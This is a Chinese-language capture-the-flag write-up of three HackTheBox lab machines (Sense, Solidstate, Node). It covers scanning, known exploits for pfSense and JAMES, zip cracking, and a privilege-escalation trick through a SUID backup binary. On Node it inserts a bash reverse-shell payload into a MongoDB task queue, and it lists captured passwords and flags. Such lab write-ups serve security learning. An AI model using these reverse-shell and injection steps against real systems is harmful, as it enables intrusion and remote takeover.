HTB-oscplike-sense+solidstate+node
Sense
easy难度的sense 靶机IP 10.10.10.60
nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.60
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
443/tcp open ssl/http lighttpd 1.4.35
dirsearch看到changelog.txt 和system-users.txt 后者里有
username: Rohit
password: company defaults
结合searchsploit的结果这网站是pfsense 以这个为密码登录 进入后台
进去后看到版本2.1.3 searchsploit找到exp cve-2014-4688执行弹回shell
然后我看了看提权发现我是root… 直接拿flag就行
8721327cc232073b40d27d9c17e7348b
d08c32a5d4f8c8b10e76eb51a69f1a86
Solidstate
meduim难度的solidstate 靶机IP 10.10.10.51
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp open smtp JAMES smtpd 2.3.2
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open rsip?
5355/tcp filtered llmnr
dirsearch wfuzz看了一圈没啥东西 searchsploit james 2.3.2 找到漏洞 能进去修改邮件用户的密码
然后telnet连Pop3上去看邮件 看到mindy用户下有一封邮件有
username: mindy
pass: P@55W0rd1!2@
能不能ssh连进去呢 是可以的 进去拿到user的flag
0510e71c2e8c9cb333b36a38080d0dc2
提权看了半天传了个pspy发现在执行/opt/tmp.py
修改py弹回root shell即可 拿到root flag
4f4afb55463c3bc79ab1e906b074953d
Node
medium难度的node 靶机IP 10.10.10.58
sudo nmap -sS -sV -A -p- -Pn --min-rate=5000 10.10.10.58
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open hadoop-datanode Apache Hadoop
3000网页上有登录但是啥也试不出来 后台文件什么的也扫不出来 于是联想到题目node 估计就是nodejs
于是在js里瞎勾八翻 最后找到
md5解密管理员密码是manchester进去之后可以下载一个backup文件
但是这个文件不知道咋打开 file backup发现是一大段ascii text
但是strings backup发现很像是一个base64 base64解码之后变成了一个zip 可以解压且解压需要密码
用john爆破 zip2john tmp然后把里面要用的内容放到新文件a里
john a --wordlist=/home/kali/Desktop/rockyou.txt --format=PKZIP 密码是magicword
进去之后在app.js里看到
结合我们之前翻到的一个用户名是mark ssh直接可以连上去
上去发现没有权限拿tom目录下的flag 这里提权一个是可以直接pkexec提权 但是这么做属于纯纯作弊
正常情况首先我们要提到tom权限 linpeas发现tom会执行 /var/scheduler/app.js 而这个js里存在命令执行
这里我们直接mongo -u mark -p 5AYRft73VtFpc84k scheduler连进去
db.tasks.insert({“cmd”:"/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’"})赋值我们的payload
然后就静待执行就弹回了tom的shell拿到user的flag e1156acc3574e04b06908ecf76be91b1
然后在find / -perm -u=s -type f 2>/dev/null可以看到有个奇怪的backup文件
这时候回到我们的app.js可以看到里面是标注了backup的使用方法和密钥的 我们照搬一下
/usr/local/bin/backup -p 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt
执行发现返回了一串加密过的字符串 base64解码之后是一个zip文件 进去又是要密码的
用之前的密码magicword就可以打开 但是里面它马的是一个笑脸
那么就来分析文件吧 nc -lvnp 7888 >backup nc 10.10.14.19 7888 <backup 文件传过来
分析之后发现考点是缓冲区溢出 但是有一个其他的点可以绕过 /root会触发笑脸 换成/r**t就行了…拿到flag
1722e99ca5f353b362556a62bd5e6be0
缓冲区溢出的话分析起来有点费劲 不打字了 寄!